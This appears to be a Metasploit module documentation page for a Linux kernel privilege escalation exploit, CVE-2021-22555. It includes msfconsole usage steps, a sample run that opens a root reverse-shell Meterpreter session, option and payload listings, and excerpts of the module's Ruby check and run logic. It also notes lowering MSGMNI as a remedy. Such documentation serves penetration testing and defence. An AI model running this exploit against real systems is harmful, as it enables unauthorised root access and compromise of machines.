Netfilter x_tables Heap OOB Write Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Netfilter x_tables Heap OOB Write Privilege Escalation
Module: exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc
Source code: modules/exploits/linux/local/netfilter_xtables_heap_oob_write_priv_esc.rb
Disclosure date: 2021-07-07
Last modification time: 2022-04-19 20:42:23 +0000
Supported architecture(s): x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-22555

A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c. This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space. Kernels up to 5.11 (including) are vulnerable. More information about vulnerable kernels is available at https://nvd.nist.gov/vuln/detail/CVE-2021-22555#vulnConfigurationsArea

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Reliability:

  • unreliable-session: The module isn't expected to get a shell reliably (such as only once).

Stability:

  • os-resource-loss: Modules may cause a resource (such as a file) to be unavailable for the OS.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc
msf exploit(netfilter_xtables_heap_oob_write_priv_esc) > show targets
    ... a list of targets ...
msf exploit(netfilter_xtables_heap_oob_write_priv_esc) > set TARGET target-id
msf exploit(netfilter_xtables_heap_oob_write_priv_esc) > show options
    ... show and set options ...
msf exploit(netfilter_xtables_heap_oob_write_priv_esc) > set SESSION session-id
msf exploit(netfilter_xtables_heap_oob_write_priv_esc) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module attempts to gain root privileges on Linux systems with a vulnerable Ubuntu kernel.

Vulnerable Application


CVE-2021-22555 takes advantage of a heap out-of-bounds write when memset() is called, allowing for messages in the MSGMNI queue to reference a pointer that has been written by the exploit, resulting in code execution.

Tested on Ubuntu 20.04: - 5.8.0-53-generic #60~20.04.1-Ubuntu - 5.8.0-50-generic #56~20.04.1-Ubuntu - 5.8.0-49-generic #55~20.04.1-Ubuntu - 5.8.0-48-generic #54~20.04.1-Ubuntu - 5.8.0-29-generic #31~20.04.1-Ubuntu - 5.8.0-28-generic #30~20.04.1-Ubuntu - 5.8.0-25-generic #26~20.04.1-Ubuntu - 5.8.0-23-generic #24~20.04.1-Ubuntu

Verification Steps


  1. Start msfconsole
  2. Get a session
  3. use exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc
  4. set SESSION [SESSION]
  5. check
  6. run
  7. You should get a new root session

Options


SESSION

Which session to use, which can be viewed with sessions

WritableDir

A writable directory file system path. (default: /var/tmp)

CmdTimeout

How long to wait for a reply when executing commands on the remote system The vulnerability was discovered by Andy Nguyen @theflow0.

Scenarios


msf6 exploit(linux/local/netfilter_xtables_heap_oob_write_priv_esc) > run

[*] Started reverse TCP handler on 192.168.1.145:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target is running kernel release 5.8.0-48-generic.
[*] Dropping pre-compiled binaries to system...
[*] Writing '/var/tmp/flTJOaqhI' (734660 bytes) ...
[*] Uploading payload...
[*] Writing '/var/tmp/ckaFBkiL' (250 bytes) ...
[*] Running payload on remote system...
[*] Sending stage (3012548 bytes) to 192.168.1.67
[+] Deleted /var/tmp/flTJOaqhI
[+] Deleted /var/tmp/ckaFBkiL
[*] Meterpreter session 2 opened (192.168.1.145:4444 -> 192.168.1.67:43322) at 2021-09-28 14:20:41 +0100
[*] Payload executed!

meterpreter > getuid
Server username: root @ ubuntu-virtual-machine (uid=0, gid=0, euid=0, egid=0)

In the case of receiving an error, the user can retry the exploit unless the message queue on the target has been exhausted. In that case, the system needs to be rebooted for the exploit to work again.

Go back to menu.

Msfconsole Usage


Here is how the linux/local/netfilter_xtables_heap_oob_write_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc

[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/netfilter_xtables_heap_oob_write_priv_esc) > show info

       Name: Netfilter x_tables Heap OOB Write Privilege Escalation
     Module: exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc
   Platform: Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2021-07-07

Provided by:
  Andy Nguyen (theflow <Andy Nguyen (theflow@)>
  Szymon Janusz
  bcoles <[email protected]>

Module side effects:
 artifacts-on-disk

Module stability:
 os-resource-loss

Module reliability:
 unreliable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  CmdTimeout   10               yes       Maximum number of seconds to wait for the exploit to complete
  SESSION                       yes       The session to run this module on.
  WritableDir  /var/tmp         yes       Directory to write persistent payload file.

Payload information:

Description:
  A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was 
  discovered in net/netfilter/x_tables.c. This allows an attacker to 
  gain privileges or cause a DoS (via heap memory corruption) through 
  user name space. Kernels up to 5.11 (including) are vulnerable. More 
  information about vulnerable kernels is available at 
ht  tps://nvd.nist.gov/vuln/detail/CVE-2021-22555#vulnConfigurationsArea

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-22555
  https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
  https://nvd.nist.gov/vuln/detail/CVE-2021-22555
  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22555
  https://ubuntu.com/security/CVE-2021-22555

Module Options


This is a complete list of options available in the linux/local/netfilter_xtables_heap_oob_write_priv_esc exploit:

msf6 exploit(linux/local/netfilter_xtables_heap_oob_write_priv_esc) > show options

Module options (exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CmdTimeout   10               yes       Maximum number of seconds to wait for the exploit to complete
   SESSION                       yes       The session to run this module on.
   WritableDir  /var/tmp         yes       Directory to write persistent payload file.

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the linux/local/netfilter_xtables_heap_oob_write_priv_esc exploit:

msf6 exploit(linux/local/netfilter_xtables_heap_oob_write_priv_esc) > show advanced

Module advanced options (exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   MeterpreterTryToFork         false            no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/netfilter_xtables_heap_oob_write_priv_esc module can exploit:

msf6 exploit(linux/local/netfilter_xtables_heap_oob_write_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/netfilter_xtables_heap_oob_write_priv_esc exploit:

msf6 exploit(linux/local/netfilter_xtables_heap_oob_write_priv_esc) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   10  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   11  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   12  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   13  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   14  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   15  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/netfilter_xtables_heap_oob_write_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/netfilter_xtables_heap_oob_write_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The ip_tables module is not loaded.


Here is a relevant code snippet related to the "The ip_tables module is not loaded." error message:

80:	    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
81:	  end
82:	
83:	  def check
84:	    unless kernel_modules.include? 'ip_tables'
85:	      vprint_warning('The ip_tables module is not loaded.')
86:	      return CheckCode::Safe('The ip_tables module is not loaded.')
87:	    end
88:	
89:	    return CheckCode::Safe('LKRG is installed.') if lkrg_installed?
90:	    return CheckCode::Safe('grsecurity is in use') if grsec_installed?

The ip_tables module is not loaded.


Here is a relevant code snippet related to the "The ip_tables module is not loaded." error message:

81:	  end
82:	
83:	  def check
84:	    unless kernel_modules.include? 'ip_tables'
85:	      vprint_warning('The ip_tables module is not loaded.')
86:	      return CheckCode::Safe('The ip_tables module is not loaded.')
87:	    end
88:	
89:	    return CheckCode::Safe('LKRG is installed.') if lkrg_installed?
90:	    return CheckCode::Safe('grsecurity is in use') if grsec_installed?
91:	

LKRG is installed.


Here is a relevant code snippet related to the "LKRG is installed." error message:

84:	    unless kernel_modules.include? 'ip_tables'
85:	      vprint_warning('The ip_tables module is not loaded.')
86:	      return CheckCode::Safe('The ip_tables module is not loaded.')
87:	    end
88:	
89:	    return CheckCode::Safe('LKRG is installed.') if lkrg_installed?
90:	    return CheckCode::Safe('grsecurity is in use') if grsec_installed?
91:	
92:	    release = kernel_release
93:	    version = "#{release} #{kernel_version.split(' ').first}"
94:	    ubuntu_offsets = strip_comments(get_external_source_code('CVE-2021-22555', 'exploit.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first

grsecurity is in use


Here is a relevant code snippet related to the "grsecurity is in use" error message:

85:	      vprint_warning('The ip_tables module is not loaded.')
86:	      return CheckCode::Safe('The ip_tables module is not loaded.')
87:	    end
88:	
89:	    return CheckCode::Safe('LKRG is installed.') if lkrg_installed?
90:	    return CheckCode::Safe('grsecurity is in use') if grsec_installed?
91:	
92:	    release = kernel_release
93:	    version = "#{release} #{kernel_version.split(' ').first}"
94:	    ubuntu_offsets = strip_comments(get_external_source_code('CVE-2021-22555', 'exploit.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
95:	    ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten

Error parsing the list of supported kernels.


Here is a relevant code snippet related to the "Error parsing the list of supported kernels." error message:

92:	    release = kernel_release
93:	    version = "#{release} #{kernel_version.split(' ').first}"
94:	    ubuntu_offsets = strip_comments(get_external_source_code('CVE-2021-22555', 'exploit.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
95:	    ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten
96:	    if ubuntu_kernels.empty?
97:	      fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
98:	    end
99:	    return CheckCode::Safe("Ubuntu kernel #{version} is not vulnerable.") if !ubuntu_kernels.include? version
100:	
101:	    # Setting the MSGMNI to a lower value is an easy remedy for this exploit on vulnerable kernels.
102:	    # Currently, the exploit uses #define NUM_MSQIDS 4096, which is the minimum allowed message queue length.

Ubuntu kernel <VERSION> is not vulnerable.


Here is a relevant code snippet related to the "Ubuntu kernel <VERSION> is not vulnerable." error message:

94:	    ubuntu_offsets = strip_comments(get_external_source_code('CVE-2021-22555', 'exploit.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
95:	    ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten
96:	    if ubuntu_kernels.empty?
97:	      fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
98:	    end
99:	    return CheckCode::Safe("Ubuntu kernel #{version} is not vulnerable.") if !ubuntu_kernels.include? version
100:	
101:	    # Setting the MSGMNI to a lower value is an easy remedy for this exploit on vulnerable kernels.
102:	    # Currently, the exploit uses #define NUM_MSQIDS 4096, which is the minimum allowed message queue length.
103:	    minimum_msgmni = 4096
104:	    msgmni_path = '/proc/sys/kernel/msgmni'

<MSGMNI_PATH> is not readable.


Here is a relevant code snippet related to the "<MSGMNI_PATH> is not readable." error message:

100:	
101:	    # Setting the MSGMNI to a lower value is an easy remedy for this exploit on vulnerable kernels.
102:	    # Currently, the exploit uses #define NUM_MSQIDS 4096, which is the minimum allowed message queue length.
103:	    minimum_msgmni = 4096
104:	    msgmni_path = '/proc/sys/kernel/msgmni'
105:	    return CheckCode::Safe("#{msgmni_path} is not readable.") if !readable?(msgmni_path)
106:	
107:	    msgmni = read_file(msgmni_path).to_i
108:	    if msgmni >= minimum_msgmni
109:	      return CheckCode::Appears("Target is running kernel release #{release}.")
110:	    else

Target is running kernel release <RELEASE>.


Here is a relevant code snippet related to the "Target is running kernel release <RELEASE>." error message:

104:	    msgmni_path = '/proc/sys/kernel/msgmni'
105:	    return CheckCode::Safe("#{msgmni_path} is not readable.") if !readable?(msgmni_path)
106:	
107:	    msgmni = read_file(msgmni_path).to_i
108:	    if msgmni >= minimum_msgmni
109:	      return CheckCode::Appears("Target is running kernel release #{release}.")
110:	    else
111:	      return CheckCode::Safe("The kernel's MSGMNI queue size of #{msgmni} is too small for the exploit to execute successfully, making the target invulnerable. A minimum queue size of #{minimum_msgmni} is required. This setting can only be changed using sudo on the victim machine.")
112:	    end
113:	  end
114:	

The kernel's MSGMNI queue size of <MSGMNI> is too small for the exploit to execute successfully, making the target invulnerable. A minimum queue size of <MINIMUM_MSGMNI> is required. This setting can only be changed using sudo on the victim machine.


Here is a relevant code snippet related to the "The kernel's MSGMNI queue size of <MSGMNI> is too small for the exploit to execute successfully, making the target invulnerable. A minimum queue size of <MINIMUM_MSGMNI> is required. This setting can only be changed using sudo on the victim machine." error message:

106:	
107:	    msgmni = read_file(msgmni_path).to_i
108:	    if msgmni >= minimum_msgmni
109:	      return CheckCode::Appears("Target is running kernel release #{release}.")
110:	    else
111:	      return CheckCode::Safe("The kernel's MSGMNI queue size of #{msgmni} is too small for the exploit to execute successfully, making the target invulnerable. A minimum queue size of #{minimum_msgmni} is required. This setting can only be changed using sudo on the victim machine.")
112:	    end
113:	  end
114:	
115:	  def upload_exploit_binary
116:	    executable_name = rand_text_alphanumeric(5..10)

The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted.


Here is a relevant code snippet related to the "The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted." error message:

129:	  def run_payload
130:	    response = cmd_exec(@executable_path, @payload_path, cmd_timeout)
131:	    vprint_status(response)
132:	    if response =~ /No space left on device/
133:	      # After too many failed attempts, the system needs to be restarted.
134:	      fail_with(Failure::PayloadFailed, 'The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted.')
135:	    elsif response =~ /Error could not corrupt any primary message/ || response =~ /Error could not leak adjacent secondary message/
136:	      fail_with(Failure::PayloadFailed, 'The exploit failed when trying to corrupt the message queue. You can try running the exploit again.')
137:	    elsif response =~ /system is not using an Ubuntu kernel/
138:	      fail_with(Failure::PayloadFailed, 'The target is not running an Ubuntu kernel.')
139:	    elsif response =~ /not recognized/

The exploit failed when trying to corrupt the message queue. You can try running the exploit again.


Here is a relevant code snippet related to the "The exploit failed when trying to corrupt the message queue. You can try running the exploit again." error message:

131:	    vprint_status(response)
132:	    if response =~ /No space left on device/
133:	      # After too many failed attempts, the system needs to be restarted.
134:	      fail_with(Failure::PayloadFailed, 'The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted.')
135:	    elsif response =~ /Error could not corrupt any primary message/ || response =~ /Error could not leak adjacent secondary message/
136:	      fail_with(Failure::PayloadFailed, 'The exploit failed when trying to corrupt the message queue. You can try running the exploit again.')
137:	    elsif response =~ /system is not using an Ubuntu kernel/
138:	      fail_with(Failure::PayloadFailed, 'The target is not running an Ubuntu kernel.')
139:	    elsif response =~ /not recognized/
140:	      fail_with(Failure::PayloadFailed, 'The target is running a kernel version that is currently not supported by the exploit.')
141:	    end

The target is not running an Ubuntu kernel.


Here is a relevant code snippet related to the "The target is not running an Ubuntu kernel." error message:

133:	      # After too many failed attempts, the system needs to be restarted.
134:	      fail_with(Failure::PayloadFailed, 'The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted.')
135:	    elsif response =~ /Error could not corrupt any primary message/ || response =~ /Error could not leak adjacent secondary message/
136:	      fail_with(Failure::PayloadFailed, 'The exploit failed when trying to corrupt the message queue. You can try running the exploit again.')
137:	    elsif response =~ /system is not using an Ubuntu kernel/
138:	      fail_with(Failure::PayloadFailed, 'The target is not running an Ubuntu kernel.')
139:	    elsif response =~ /not recognized/
140:	      fail_with(Failure::PayloadFailed, 'The target is running a kernel version that is currently not supported by the exploit.')
141:	    end
142:	    print_status('Payload executed!')
143:	  end

The target is running a kernel version that is currently not supported by the exploit.


Here is a relevant code snippet related to the "The target is running a kernel version that is currently not supported by the exploit." error message:

135:	    elsif response =~ /Error could not corrupt any primary message/ || response =~ /Error could not leak adjacent secondary message/
136:	      fail_with(Failure::PayloadFailed, 'The exploit failed when trying to corrupt the message queue. You can try running the exploit again.')
137:	    elsif response =~ /system is not using an Ubuntu kernel/
138:	      fail_with(Failure::PayloadFailed, 'The target is not running an Ubuntu kernel.')
139:	    elsif response =~ /not recognized/
140:	      fail_with(Failure::PayloadFailed, 'The target is running a kernel version that is currently not supported by the exploit.')
141:	    end
142:	    print_status('Payload executed!')
143:	  end
144:	
145:	  def exploit

<BASE_DIR> is not writable.


Here is a relevant code snippet related to the "<BASE_DIR> is not writable." error message:

141:	    end
142:	    print_status('Payload executed!')
143:	  end
144:	
145:	  def exploit
146:	    fail_with(Failure::BadConfig, "#{base_dir} is not writable.") if !writable?(base_dir)
147:	
148:	    print_status('Dropping pre-compiled binaries to system...')
149:	    upload_exploit_binary
150:	    print_status('Uploading payload...')
151:	    upload_payload_binary

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Andy Nguyen (theflow@)
  • Szymon Janusz
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.